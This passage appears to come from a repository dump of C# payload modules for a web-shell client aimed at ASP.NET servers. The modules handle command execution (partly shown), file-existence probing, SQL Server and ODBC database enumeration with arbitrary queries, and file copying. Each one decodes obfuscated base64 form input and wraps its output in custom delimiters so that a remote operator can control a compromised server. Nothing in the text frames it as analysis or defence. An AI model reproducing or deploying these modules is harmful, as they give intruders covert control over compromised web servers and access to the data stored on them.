OT.ReadToEnd() + ER.ReadToEnd(); 124 | 125 | return ret; 126 | } 127 | 128 | 129 | public String HexAsciiConvert(String hex) 130 | { 131 | StringBuilder sb = new StringBuilder(); 132 | int i; 133 | for (i = 0; i < hex.Length; i += 2) 134 | { 135 | sb.Append(System.Convert.ToString(System.Convert.ToChar(Int32.Parse(hex.Substring(i, 2), 136 | System.Globalization.NumberStyles.HexNumber)))); 137 | } 138 | 139 | return sb.ToString(); 140 | } 141 | 142 | public String decode(String src) 143 | { 144 | int prefixlen = 0; 145 | try 146 | { 147 | prefixlen = Int32.Parse(randomPrefix); 148 | src = src.Substring(prefixlen); 149 | } 150 | catch (Exception e) 151 | { 152 | } 153 | 154 | String ret; 155 | try 156 | { 157 | switch (encoder) 158 | { 159 | case "base64": 160 | { 161 | ret = System.Text.Encoding.GetEncoding(cs).GetString(System.Convert.FromBase64String(src)); 162 | break; 163 | } 164 | case "hex": 165 | { 166 | ret = HexAsciiConvert(src); 167 | break; 168 | } 169 | default: 170 | { 171 | ret = src; 172 | break; 173 | } 174 | } 175 | } 176 | catch (Exception e) 177 | { 178 | ret = e.Message.ToString(); 179 | } 180 | 181 | return ret; 182 | } 183 | 184 | public String asoutput(String src) 185 | { 186 | String ret; 187 | try 188 | { 189 | switch (decoder) 190 | { 191 | case "base64": 192 | { 193 | ret = System.Convert.ToBase64String(System.Text.Encoding.GetEncoding(cs).GetBytes(src)); 194 | break; 195 | } 196 | default: 197 | { 198 | ret = src; 199 | break; 200 | } 201 | } 202 | } 203 | catch (Exception e) 204 | { 205 | ret = e.Message.ToString(); 206 | } 207 | 208 | return ret; 209 | } 210 | } 211 | } -------------------------------------------------------------------------------- /CMD_Exec/CMD_Exec.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {F7994A18-87CB-4EE4-8A2D-BABED3708907} 8 | Library 9 | Properties 10 | Exec 11 | CMD_Exec 12 | v2.0 13 | 512 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /CMD_Exec/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.InteropServices; 3 | 4 | // General Information about an assembly is controlled through the following 5 | // set of attributes. Change these attribute values to modify the information 6 | // associated with an assembly. 7 | [assembly: AssemblyTitle("CMD_Exec")] 8 | [assembly: AssemblyDescription("")] 9 | [assembly: AssemblyConfiguration("")] 10 | [assembly: AssemblyCompany("")] 11 | [assembly: AssemblyProduct("CMD_Exec")] 12 | [assembly: AssemblyCopyright("Copyright © 2021")] 13 | [assembly: AssemblyTrademark("")] 14 | [assembly: AssemblyCulture("")] 15 | 16 | // Setting ComVisible to false makes the types in this assembly not visible 17 | // to COM components. If you need to access a type in this assembly from 18 | // COM, set the ComVisible attribute to true on that type. 19 | [assembly: ComVisible(false)] 20 | 21 | // The following GUID is for the ID of the typelib if this project is exposed to COM 22 | [assembly: Guid("F7994A18-87CB-4EE4-8A2D-BABED3708907")] 23 | 24 | // Version information for an assembly consists of the following four values: 25 | // 26 | // Major Version 27 | // Minor Version 28 | // Build Number 29 | // Revision 30 | // 31 | // You can specify all the values or you can default the Build and Revision Numbers 32 | // by using the '*' as shown below: 33 | // [assembly: AssemblyVersion("1.0.*")] 34 | [assembly: AssemblyVersion("1.0.0.0")] 35 | [assembly: AssemblyFileVersion("1.0.0.0")] -------------------------------------------------------------------------------- /CMD_Listcmd/CMD_Listcmd.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Text; 3 | using System.Web; 4 | 5 | namespace CMD_Listcmd 6 | { 7 | public class Run 8 | { 9 | public HttpRequest Request; 10 | public HttpResponse Response; 11 | public String encoder; 12 | public String decoder; 13 | public String cs; 14 | public String randomPrefix; 15 | 16 | 17 | public override bool Equals(object obj) 18 | { 19 | this.parseObj(obj); 20 | this.cs = "UTF-8"; 21 | this.encoder = "base64"; 22 | this.decoder = ""; 23 | this.randomPrefix = "2"; 24 | String tag_s = "->|"; 25 | String tag_e = "|<-"; 26 | this.Response.Charset = cs; 27 | String result = ""; 28 | try 29 | { 30 | if (this.Request.Form["version"] != null) 31 | { 32 | String[] split = System.Text.Encoding.GetEncoding(cs) 33 | .GetString(System.Convert.FromBase64String(this.Request.Form["version"])).Split(';'); 34 | if (split.Length == 1) 35 | { 36 | this.randomPrefix = split[0]; 37 | } 38 | else 39 | { 40 | this.randomPrefix = split[0]; 41 | tag_s = split[1]; 42 | tag_e = split[2]; 43 | } 44 | } 45 | 46 | String binarr = decode(this.Request.Form["binarr"]); 47 | result += this.ListcmdCode(binarr); 48 | } 49 | catch (Exception e) 50 | { 51 | result = "ERROR:// " + e.Message; 52 | } 53 | 54 | this.Response.Write(tag_s + asoutput(result) + tag_e); 55 | return true; 56 | } 57 | 58 | public void parseObj(Object obj) 59 | { 60 | if (obj.GetType().IsArray) 61 | { 62 | Object[] data = (Object[])obj; 63 | this.Request = (HttpRequest)data[0]; 64 | this.Response = (HttpResponse)data[1]; 65 | } 66 | else 67 | { 68 | try 69 | { 70 | HttpContext context = (HttpContext)obj; 71 | this.Response = context.Response; 72 | this.Request = context.Request; 73 | } 74 | catch (Exception) 75 | { 76 | HttpContext context = HttpContext.Current; 77 | this.Response = context.Response; 78 | this.Request = context.Request; 79 | } 80 | } 81 | } 82 | 83 | public string ListcmdCode(String binarr) 84 | { 85 | String ret = ""; 86 | String[] ss = binarr.Split(','); 87 | int i; 88 | for (i = 0; i < ss.Length; i++) 89 | { 90 | ret += (ss[i] + "\t" + (System.IO.File.Exists(ss[i]) ? 1 : 0) + "\n"); 91 | } 92 | 93 | return ret; 94 | } 95 | 96 | public String HexAsciiConvert(String hex) 97 | { 98 | StringBuilder sb = new StringBuilder(); 99 | int i; 100 | for (i = 0; i < hex.Length; i += 2) 101 | { 102 | sb.Append(System.Convert.ToString(System.Convert.ToChar(Int32.Parse(hex.Substring(i, 2), 103 | System.Globalization.NumberStyles.HexNumber)))); 104 | } 105 | 106 | return sb.ToString(); 107 | } 108 | 109 | public String asoutput(String src) 110 | { 111 | String ret; 112 | try 113 | { 114 | switch (decoder) 115 | { 116 | case "base64": 117 | { 118 | ret = System.Convert.ToBase64String(System.Text.Encoding.GetEncoding(cs).GetBytes(src)); 119 | break; 120 | } 121 | default: 122 | { 123 | ret = src; 124 | break; 125 | } 126 | } 127 | } 128 | catch (Exception e) 129 | { 130 | ret = e.Message.ToString(); 131 | } 132 | 133 | return ret; 134 | } 135 | 136 | public String decode(String src) 137 | { 138 | int prefixlen = 0; 139 | try 140 | { 141 | prefixlen = Int32.Parse(randomPrefix); 142 | src = src.Substring(prefixlen); 143 | } 144 | catch (Exception e) 145 | { 146 | } 147 | 148 | String ret; 149 | try 150 | { 151 | switch (encoder) 152 | { 153 | case "base64": 154 | { 155 | ret = System.Text.Encoding.GetEncoding(cs).GetString(System.Convert.FromBase64String(src)); 156 | break; 157 | } 158 | case "hex": 159 | { 160 | ret = HexAsciiConvert(src); 161 | break; 162 | } 163 | default: 164 | { 165 | ret = src; 166 | break; 167 | } 168 | } 169 | } 170 | catch (Exception e) 171 | { 172 | ret = e.Message.ToString(); 173 | } 174 | 175 | return ret; 176 | } 177 | } 178 | } -------------------------------------------------------------------------------- /CMD_Listcmd/CMD_Listcmd.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {61C1ED62-33B9-4D97-B460-6E33C1C447EE} 8 | Library 9 | Properties 10 | Listcmd 11 | CMD_Listcmd 12 | v2.0 13 | 512 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /CMD_Listcmd/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.InteropServices; 3 | 4 | // General Information about an assembly is controlled through the following 5 | // set of attributes. Change these attribute values to modify the information 6 | // associated with an assembly. 7 | [assembly: AssemblyTitle("CMD_Listcmd")] 8 | [assembly: AssemblyDescription("")] 9 | [assembly: AssemblyConfiguration("")] 10 | [assembly: AssemblyCompany("")] 11 | [assembly: AssemblyProduct("CMD_Listcmd")] 12 | [assembly: AssemblyCopyright("Copyright © 2021")] 13 | [assembly: AssemblyTrademark("")] 14 | [assembly: AssemblyCulture("")] 15 | 16 | // Setting ComVisible to false makes the types in this assembly not visible 17 | // to COM components. If you need to access a type in this assembly from 18 | // COM, set the ComVisible attribute to true on that type. 19 | [assembly: ComVisible(false)] 20 | 21 | // The following GUID is for the ID of the typelib if this project is exposed to COM 22 | [assembly: Guid("61C1ED62-33B9-4D97-B460-6E33C1C447EE")] 23 | 24 | // Version information for an assembly consists of the following four values: 25 | // 26 | // Major Version 27 | // Minor Version 28 | // Build Number 29 | // Revision 30 | // 31 | // You can specify all the values or you can default the Build and Revision Numbers 32 | // by using the '*' as shown below: 33 | // [assembly: AssemblyVersion("1.0.*")] 34 | [assembly: AssemblyVersion("1.0.0.0")] 35 | [assembly: AssemblyFileVersion("1.0.0.0")] -------------------------------------------------------------------------------- /DB_Default/DB_Default.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Data; 3 | using System.Text; 4 | using System.Web; 5 | 6 | namespace DB_Default 7 | { 8 | public class Run 9 | { 10 | public HttpRequest Request; 11 | public HttpResponse Response; 12 | public String encoder; 13 | public String decoder; 14 | public String cs; 15 | public String randomPrefix; 16 | 17 | 18 | public override bool Equals(object obj) 19 | { 20 | this.parseObj(obj); 21 | this.cs = "UTF-8"; 22 | this.encoder = "base64"; 23 | this.decoder = ""; 24 | this.randomPrefix = "2"; 25 | String tag_s = "->|"; 26 | String tag_e = "|<-"; 27 | this.Response.Charset = cs; 28 | String result = ""; 29 | try 30 | { 31 | if (this.Request.Form["version"] != null) 32 | { 33 | String[] split = System.Text.Encoding.GetEncoding(cs) 34 | .GetString(System.Convert.FromBase64String(this.Request.Form["version"])).Split(';'); 35 | if (split.Length == 1) 36 | { 37 | this.randomPrefix = split[0]; 38 | } 39 | else 40 | { 41 | this.randomPrefix = split[0]; 42 | tag_s = split[1]; 43 | tag_e = split[2]; 44 | } 45 | } 46 | 47 | String action = (this.Request.Form["action"]); 48 | String conn = decode(this.Request.Form["conn"]); 49 | String z1 = decode(this.Request.Form["z1"]); 50 | String z2 = decode(this.Request.Form["z2"]); 51 | switch (action) 52 | { 53 | case "show_databases": 54 | result += this.show_databases(conn); 55 | break; 56 | case "show_tables": 57 | result += this.show_tables(conn, z1); 58 | break; 59 | case "show_columns": 60 | result += this.show_columns(conn, z1, z2); 61 | break; 62 | case "query": 63 | result += this.query(conn, z1); 64 | break; 65 | default: 66 | break; 67 | } 68 | } 69 | catch (Exception e) 70 | { 71 | result = "ERROR:// " + e.Message; 72 | } 73 | 74 | this.Response.Write(tag_s + asoutput(result) + tag_e); 75 | return true; 76 | } 77 | 78 | public void parseObj(Object obj) 79 | { 80 | if (obj.GetType().IsArray) 81 | { 82 | Object[] data = (Object[])obj; 83 | this.Request = (HttpRequest)data[0]; 84 | this.Response = (HttpResponse)data[1]; 85 | } 86 | else 87 | { 88 | try 89 | { 90 | HttpContext context = (HttpContext)obj; 91 | this.Response = context.Response; 92 | this.Request = context.Request; 93 | } 94 | catch (Exception) 95 | { 96 | HttpContext context = HttpContext.Current; 97 | this.Response = context.Response; 98 | this.Request = context.Request; 99 | } 100 | } 101 | } 102 | 103 | public string show_databases(String conn) 104 | { 105 | String ret = ""; 106 | System.Data.DataSet ds = new System.Data.DataSet(); 107 | string sql = "show databases"; 108 | using (System.Data.Odbc.OdbcDataAdapter dataAdapter = 109 | new System.Data.Odbc.OdbcDataAdapter(sql, conn)) 110 | { 111 | dataAdapter.Fill(ds); 112 | ret = parseDataset(ds, "\t", "\t", false); 113 | } 114 | 115 | return ret; 116 | } 117 | 118 | public string show_tables(String conn, String dbname) 119 | { 120 | String ret = ""; 121 | System.Data.DataSet ds = new System.Data.DataSet(); 122 | string sql = "show tables from " + dbname; 123 | using (System.Data.Odbc.OdbcDataAdapter dataAdapter = 124 | new System.Data.Odbc.OdbcDataAdapter(sql, conn)) 125 | { 126 | dataAdapter.Fill(ds); 127 | ret = parseDataset(ds, "\t", "\t", false); 128 | } 129 | 130 | return ret; 131 | } 132 | 133 | public string show_columns(String conn, String db, String table) 134 | { 135 | String ret = ""; 136 | System.Data.DataSet ds = new System.Data.DataSet(); 137 | string sql = "select * from " + db + "." + table + " limit 0,0"; 138 | using (System.Data.Odbc.OdbcDataAdapter dataAdapter = 139 | new System.Data.Odbc.OdbcDataAdapter(sql, conn)) 140 | { 141 | dataAdapter.Fill(ds); 142 | ret = parseDataset(ds, "\t", "", true); 143 | } 144 | 145 | return ret; 146 | } 147 | 148 | public string query(String conn, String sql) 149 | { 150 | String ret = ""; 151 | System.Data.DataSet ds = new System.Data.DataSet(); 152 | using (System.Data.Odbc.OdbcDataAdapter dataAdapter = 153 | new System.Data.Odbc.OdbcDataAdapter(sql, conn)) 154 | { 155 | dataAdapter.Fill(ds); 156 | ret = parseDataset(ds, "\t|\t", "\r\n", true); 157 | } 158 | 159 | return ret; 160 | } 161 | 162 | public string parseDataset(DataSet ds, String columnsep, String rowsep, bool needcoluname) 163 | { 164 | if (ds == null || ds.Tables.Count <= 0) 165 | { 166 | return "Status" + columnsep + rowsep + "True" + columnsep + rowsep; 167 | } 168 | 169 | StringBuilder sb = new StringBuilder(); 170 | if (needcoluname) 171 | { 172 | for (int i = 0; i < ds.Tables[0].Columns.Count; i++) 173 | { 174 | sb.AppendFormat("{0}{1}", ds.Tables[0].Columns[i].ColumnName, columnsep); 175 | } 176 | 177 | sb.Append(rowsep); 178 | } 179 | 180 | foreach (DataTable dt in ds.Tables) 181 | { 182 | foreach (DataRow dr in dt.Rows) 183 | { 184 | for (int i = 0; i < dr.Table.Columns.Count; i++) 185 | { 186 | sb.AppendFormat("{0}{1}", ObjToStr(dr[i]), columnsep); 187 | } 188 | 189 | sb.Append(rowsep); 190 | } 191 | } 192 | 193 | return sb.ToString(); 194 | } 195 | 196 | public string ObjToStr(object ob) 197 | { 198 | if (ob == null) 199 | { 200 | return string.Empty; 201 | } 202 | else 203 | { 204 | return ob.ToString(); 205 | } 206 | } 207 | 208 | public String HexAsciiConvert(String hex) 209 | { 210 | StringBuilder sb = new StringBuilder(); 211 | int i; 212 | for (i = 0; i < hex.Length; i += 2) 213 | { 214 | sb.Append(System.Convert.ToString(System.Convert.ToChar(Int32.Parse(hex.Substring(i, 2), 215 | System.Globalization.NumberStyles.HexNumber)))); 216 | } 217 | 218 | return sb.ToString(); 219 | } 220 | 221 | public String decode(String src) 222 | { 223 | int prefixlen = 0; 224 | try 225 | { 226 | prefixlen = Int32.Parse(randomPrefix); 227 | src = src.Substring(prefixlen); 228 | } 229 | catch (Exception e) 230 | { 231 | } 232 | 233 | String ret; 234 | try 235 | { 236 | switch (encoder) 237 | { 238 | case "base64": 239 | { 240 | ret = System.Text.Encoding.GetEncoding(cs).GetString(System.Convert.FromBase64String(src)); 241 | break; 242 | } 243 | case "hex": 244 | { 245 | ret = HexAsciiConvert(src); 246 | break; 247 | } 248 | default: 249 | { 250 | ret = src; 251 | break; 252 | } 253 | } 254 | } 255 | catch (Exception e) 256 | { 257 | ret = e.Message.ToString(); 258 | } 259 | 260 | return ret; 261 | } 262 | 263 | public String asoutput(String src) 264 | { 265 | String ret; 266 | try 267 | { 268 | switch (decoder) 269 | { 270 | case "base64": 271 | { 272 | ret = System.Convert.ToBase64String(System.Text.Encoding.GetEncoding(cs).GetBytes(src)); 273 | break; 274 | } 275 | default: 276 | { 277 | ret = src; 278 | break; 279 | } 280 | } 281 | } 282 | catch (Exception e) 283 | { 284 | ret = e.Message.ToString(); 285 | } 286 | 287 | return ret; 288 | } 289 | } 290 | } -------------------------------------------------------------------------------- /DB_Default/DB_Default.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {48899469-E067-4D27-AB47-FE11B1676EAE} 8 | Library 9 | Properties 10 | DB_SqlServer_ShowDatabases 11 | DB_Default 12 | v2.0 13 | 512 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /DB_Default/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.InteropServices; 3 | 4 | // General Information about an assembly is controlled through the following 5 | // set of attributes. Change these attribute values to modify the information 6 | // associated with an assembly. 7 | [assembly: AssemblyTitle("DB_Default")] 8 | [assembly: AssemblyDescription("")] 9 | [assembly: AssemblyConfiguration("")] 10 | [assembly: AssemblyCompany("")] 11 | [assembly: AssemblyProduct("DB_Default")] 12 | [assembly: AssemblyCopyright("Copyright © 2021")] 13 | [assembly: AssemblyTrademark("")] 14 | [assembly: AssemblyCulture("")] 15 | 16 | // Setting ComVisible to false makes the types in this assembly not visible 17 | // to COM components. If you need to access a type in this assembly from 18 | // COM, set the ComVisible attribute to true on that type. 19 | [assembly: ComVisible(false)] 20 | 21 | // The following GUID is for the ID of the typelib if this project is exposed to COM 22 | [assembly: Guid("48899469-E067-4D27-AB47-FE11B1676EAE")] 23 | 24 | // Version information for an assembly consists of the following four values: 25 | // 26 | // Major Version 27 | // Minor Version 28 | // Build Number 29 | // Revision 30 | // 31 | // You can specify all the values or you can default the Build and Revision Numbers 32 | // by using the '*' as shown below: 33 | // [assembly: AssemblyVersion("1.0.*")] 34 | [assembly: AssemblyVersion("1.0.0.0")] 35 | [assembly: AssemblyFileVersion("1.0.0.0")] -------------------------------------------------------------------------------- /DB_SqlServer/DB_SqlServer.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Data; 3 | using System.Data.SqlClient; 4 | using System.Text; 5 | using System.Web; 6 | using System.Web.UI; 7 | 8 | namespace DB_SqlServer 9 | { 10 | public class Run 11 | { 12 | public HttpRequest Request; 13 | public HttpResponse Response; 14 | public String encoder; 15 | public String decoder; 16 | public String cs; 17 | public String randomPrefix; 18 | 19 | 20 | public override bool Equals(object obj) 21 | { 22 | this.parseObj(obj); 23 | this.cs = "UTF-8"; 24 | this.encoder = "base64"; 25 | this.decoder = ""; 26 | this.randomPrefix = "2"; 27 | String tag_s = "->|"; 28 | String tag_e = "|<-"; 29 | this.Response.Charset = cs; 30 | String result = ""; 31 | try 32 | { 33 | if (this.Request.Form["version"] != null) 34 | { 35 | String[] split = System.Text.Encoding.GetEncoding(cs) 36 | .GetString(System.Convert.FromBase64String(this.Request.Form["version"])).Split(';'); 37 | if (split.Length == 1) 38 | { 39 | this.randomPrefix = split[0]; 40 | } 41 | else 42 | { 43 | this.randomPrefix = split[0]; 44 | tag_s = split[1]; 45 | tag_e = split[2]; 46 | } 47 | } 48 | 49 | String action = (this.Request.Form["action"]); 50 | String conn = decode(this.Request.Form["conn"]); 51 | String z1 = decode(this.Request.Form["z1"]); 52 | String z2 = decode(this.Request.Form["z2"]); 53 | switch (action) 54 | { 55 | case "show_databases": 56 | result += this.show_databases(conn); 57 | break; 58 | case "show_tables": 59 | result += this.show_tables(conn, z1); 60 | break; 61 | case "show_columns": 62 | result += this.show_columns(conn, z1, z2); 63 | break; 64 | case "query": 65 | result += this.query(conn, z1); 66 | break; 67 | default: 68 | break; 69 | } 70 | } 71 | catch (Exception e) 72 | { 73 | result = "ERROR:// " + e.Message; 74 | } 75 | 76 | this.Response.Write(tag_s + asoutput(result) + tag_e); 77 | return true; 78 | } 79 | 80 | public void parseObj(Object obj) 81 | { 82 | if (obj.GetType().IsArray) 83 | { 84 | Object[] data = (Object[])obj; 85 | this.Request = (HttpRequest)data[0]; 86 | this.Response = (HttpResponse)data[1]; 87 | } 88 | else 89 | { 90 | try 91 | { 92 | HttpContext context = (HttpContext)obj; 93 | this.Response = context.Response; 94 | this.Request = context.Request; 95 | } 96 | catch (Exception) 97 | { 98 | HttpContext context = HttpContext.Current; 99 | this.Response = context.Response; 100 | this.Request = context.Request; 101 | } 102 | } 103 | } 104 | 105 | public string show_databases(String conn) 106 | { 107 | String ret = ""; 108 | System.Data.DataSet ds = new System.Data.DataSet(); 109 | string sql = "SELECT [name] FROM master.dbo.sysdatabases ORDER BY 1"; 110 | using (SqlDataAdapter dataAdapter = 111 | new SqlDataAdapter(sql, conn)) 112 | { 113 | dataAdapter.Fill(ds); 114 | ret = parseDataset(ds, "\t", "\t", false); 115 | } 116 | 117 | return ret; 118 | } 119 | 120 | public string show_tables(String conn, String dbname) 121 | { 122 | String ret = ""; 123 | System.Data.DataSet ds = new System.Data.DataSet(); 124 | string sql = "USE [" + dbname + "] SELECT [name] FROM sysobjects WHERE (xtype='U') ORDER BY 1"; 125 | using (SqlDataAdapter dataAdapter = 126 | new SqlDataAdapter(sql, conn)) 127 | { 128 | dataAdapter.Fill(ds); 129 | ret = parseDataset(ds, "\t", "\t", false); 130 | } 131 | 132 | return ret; 133 | } 134 | 135 | public string show_columns(String conn, String db, String table) 136 | { 137 | String ret = ""; 138 | System.Data.DataSet ds = new System.Data.DataSet(); 139 | string sql = string.Format("use [{0}];SELECT TOP 0 * FROM {1}", db, table); 140 | using (SqlDataAdapter dataAdapter = 141 | new SqlDataAdapter(sql, conn)) 142 | { 143 | dataAdapter.Fill(ds); 144 | ret = parseDataset(ds, "\t", "", true); 145 | } 146 | 147 | return ret; 148 | } 149 | 150 | public string query(String conn, String sql) 151 | { 152 | String ret = ""; 153 | System.Data.DataSet ds = new System.Data.DataSet(); 154 | using (SqlDataAdapter dataAdapter = 155 | new SqlDataAdapter(sql, conn)) 156 | { 157 | dataAdapter.Fill(ds); 158 | ret = parseDataset(ds, "\t|\t", "\r\n", true); 159 | } 160 | 161 | return ret; 162 | } 163 | 164 | public string parseDataset(DataSet ds, String columnsep, String rowsep, bool needcoluname) 165 | { 166 | if (ds == null || ds.Tables.Count <= 0) 167 | { 168 | return "Status" + columnsep + rowsep + "True" + columnsep + rowsep; 169 | } 170 | 171 | StringBuilder sb = new StringBuilder(); 172 | if (needcoluname) 173 | { 174 | for (int i = 0; i < ds.Tables[0].Columns.Count; i++) 175 | { 176 | sb.AppendFormat("{0}{1}", ds.Tables[0].Columns[i].ColumnName, columnsep); 177 | } 178 | 179 | sb.Append(rowsep); 180 | } 181 | 182 | foreach (DataTable dt in ds.Tables) 183 | { 184 | foreach (DataRow dr in dt.Rows) 185 | { 186 | for (int i = 0; i < dr.Table.Columns.Count; i++) 187 | { 188 | sb.AppendFormat("{0}{1}", ObjToStr(dr[i]), columnsep); 189 | } 190 | 191 | sb.Append(rowsep); 192 | } 193 | } 194 | 195 | return sb.ToString(); 196 | } 197 | 198 | public string ObjToStr(object ob) 199 | { 200 | if (ob == null) 201 | { 202 | return string.Empty; 203 | } 204 | else 205 | { 206 | return ob.ToString(); 207 | } 208 | } 209 | 210 | public String HexAsciiConvert(String hex) 211 | { 212 | StringBuilder sb = new StringBuilder(); 213 | int i; 214 | for (i = 0; i < hex.Length; i += 2) 215 | { 216 | sb.Append(System.Convert.ToString(System.Convert.ToChar(Int32.Parse(hex.Substring(i, 2), 217 | System.Globalization.NumberStyles.HexNumber)))); 218 | } 219 | 220 | return sb.ToString(); 221 | } 222 | 223 | public String decode(String src) 224 | { 225 | int prefixlen = 0; 226 | try 227 | { 228 | prefixlen = Int32.Parse(randomPrefix); 229 | src = src.Substring(prefixlen); 230 | } 231 | catch (Exception e) 232 | { 233 | } 234 | 235 | String ret; 236 | try 237 | { 238 | switch (encoder) 239 | { 240 | case "base64": 241 | { 242 | ret = System.Text.Encoding.GetEncoding(cs).GetString(System.Convert.FromBase64String(src)); 243 | break; 244 | } 245 | case "hex": 246 | { 247 | ret = HexAsciiConvert(src); 248 | break; 249 | } 250 | default: 251 | { 252 | ret = src; 253 | break; 254 | } 255 | } 256 | } 257 | catch (Exception e) 258 | { 259 | ret = e.Message.ToString(); 260 | } 261 | 262 | return ret; 263 | } 264 | 265 | public String asoutput(String src) 266 | { 267 | String ret; 268 | try 269 | { 270 | switch (decoder) 271 | { 272 | case "base64": 273 | { 274 | ret = System.Convert.ToBase64String(System.Text.Encoding.GetEncoding(cs).GetBytes(src)); 275 | break; 276 | } 277 | default: 278 | { 279 | ret = src; 280 | break; 281 | } 282 | } 283 | } 284 | catch (Exception e) 285 | { 286 | ret = e.Message.ToString(); 287 | } 288 | 289 | return ret; 290 | } 291 | } 292 | } -------------------------------------------------------------------------------- /DB_SqlServer/DB_SqlServer.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {864921F9-3525-4E2F-81FC-D39443D98A70} 8 | Library 9 | Properties 10 | DB_SqlServer 11 | DB_SqlServer 12 | v2.0 13 | 512 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /DB_SqlServer/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.InteropServices; 3 | 4 | // General Information about an assembly is controlled through the following 5 | // set of attributes. Change these attribute values to modify the information 6 | // associated with an assembly. 7 | [assembly: AssemblyTitle("DB_SqlServer")] 8 | [assembly: AssemblyDescription("")] 9 | [assembly: AssemblyConfiguration("")] 10 | [assembly: AssemblyCompany("")] 11 | [assembly: AssemblyProduct("DB_SqlServer")] 12 | [assembly: AssemblyCopyright("Copyright © 2021")] 13 | [assembly: AssemblyTrademark("")] 14 | [assembly: AssemblyCulture("")] 15 | 16 | // Setting ComVisible to false makes the types in this assembly not visible 17 | // to COM components. If you need to access a type in this assembly from 18 | // COM, set the ComVisible attribute to true on that type. 19 | [assembly: ComVisible(false)] 20 | 21 | // The following GUID is for the ID of the typelib if this project is exposed to COM 22 | [assembly: Guid("864921F9-3525-4E2F-81FC-D39443D98A70")] 23 | 24 | // Version information for an assembly consists of the following four values: 25 | // 26 | // Major Version 27 | // Minor Version 28 | // Build Number 29 | // Revision 30 | // 31 | // You can specify all the values or you can default the Build and Revision Numbers 32 | // by using the '*' as shown below: 33 | // [assembly: AssemblyVersion("1.0.*")] 34 | [assembly: AssemblyVersion("1.0.0.0")] 35 | [assembly: AssemblyFileVersion("1.0.0.0")] -------------------------------------------------------------------------------- /FM_Copy/FM_Copy.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Text; 4 | using System.Web; 5 | 6 | namespace FM_Copy 7 | { 8 | public class Run 9 | { 10 | public HttpRequest Request; 11 | public HttpResponse Response; 12 | public String encoder; 13 | public String decoder; 14 | public String cs; 15 | public String randomPrefix; 16 | 17 | 18 | public override bool Equals(object obj) 19 | { 20 | this.parseObj(obj); 21 | this.cs = "UTF-8"; 22 | this.encoder = "base64"; 23 | this.decoder = ""; 24 | this.randomPrefix = "2"; 25 | String tag_s = "->|"; 26 | String tag_e = "|<-"; 27 | this.Response.Charset = cs; 28 | String result = ""; 29 | try 30 | { 31 | if (this.Request.Form["version"] != null) 32 | { 33 | String[] split = System.Text.Encoding.GetEncoding(cs) 34 | .GetString(System.Convert.FromBase64String(this.Request.Form["version"])).Split(';'); 35 | if (split.Length == 1) 36 | { 37 | this.randomPrefix = split[0]; 38 | } 39 | else 40 | { 41 | this.randomPrefix = split[0]; 42 | tag_s = split[1]; 43 | tag_e = split[2]; 44 | } 45 | } 46 | 47 | String path = decode(this.Request.Form["path"]); 48 | String target = decode(this.Request.Form["target"]); 49 | result += this.CopyCode(path, target); 50 | } 51 | catch (Exception e) 52 | { 53 | result = "ERROR:// " + e.Message; 54 | } 55 | 56 | this.Response.Write(tag_s + asoutput(result) + tag_e); 57 | return true; 58 | } 59 | 60 | public void parseObj(Object obj) 61 | { 62 | if (obj.GetType().IsArray) 63 | { 64 | Object[] data = (Object[])obj; 65 | this.Request = (HttpRequest)data[0]; 66 | this.Response = (HttpResponse)data[1]; 67 | } 68 | else 69 | { 70 | try 71 | { 72 | HttpContext context = (HttpContext)obj; 73 | this.Response = context.Response; 74 | this.Request = context.Request; 75 | } 76 | catch (Exception) 77 | { 78 | HttpContext context = HttpContext.Current; 79 | this.Response = context.Response; 80 | this.Request = context.Request; 81 | } 82 | } 83 | } 84 | 85 | public String CopyCode(String S, String D) 86 | { 87 | if (Directory.Exists(S)) 88 | { 89 | DirectoryInfo m = new DirectoryInfo(S); 90 | Directory.CreateDirectory(D); 91 | foreach (FileInfo 